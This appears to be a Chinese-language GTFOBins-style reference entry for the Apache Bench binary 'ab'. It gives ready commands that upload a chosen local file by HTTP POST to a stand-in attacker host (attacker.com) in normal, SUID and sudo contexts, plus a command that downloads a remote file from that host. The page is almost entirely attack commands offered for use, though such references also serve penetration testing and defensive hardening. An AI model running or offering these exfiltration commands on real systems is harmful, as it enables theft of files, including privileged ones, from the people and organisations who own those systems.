.. / ab

file-upload

上传文件到外部。

• 通过HTTP POST请求上传本地文件。

  URL=http://attacker.com/
  LFILE=要发送的文件
  ab -p $LFILE $URL
  

file-download

下载远程文件。

• 通过HTTP GET请求获取远程文件。响应作为程序输出的一部分返回，长度有一些限制。

  URL=http://attacker.com/file_to_download
  ab -v2 $URL
  

suid

suid是一种授予文件的权限类型，它允许用户使用者以文件所有者的权限来执行文件。

• 通过HTTP POST请求上传本地文件。

  URL=http://attacker.com/
  LFILE=要发送的文件
  ./ab -p $LFILE $URL
  

sudo

如果二进制文件被 sudo 允许以超级用户身份运行，可能被用于访问文件系统、提升或维持特权访问。

• 通过HTTP POST请求上传本地文件。

  URL=http://attacker.com/
  LFILE=要发送的文件
  sudo ab -p $LFILE $URL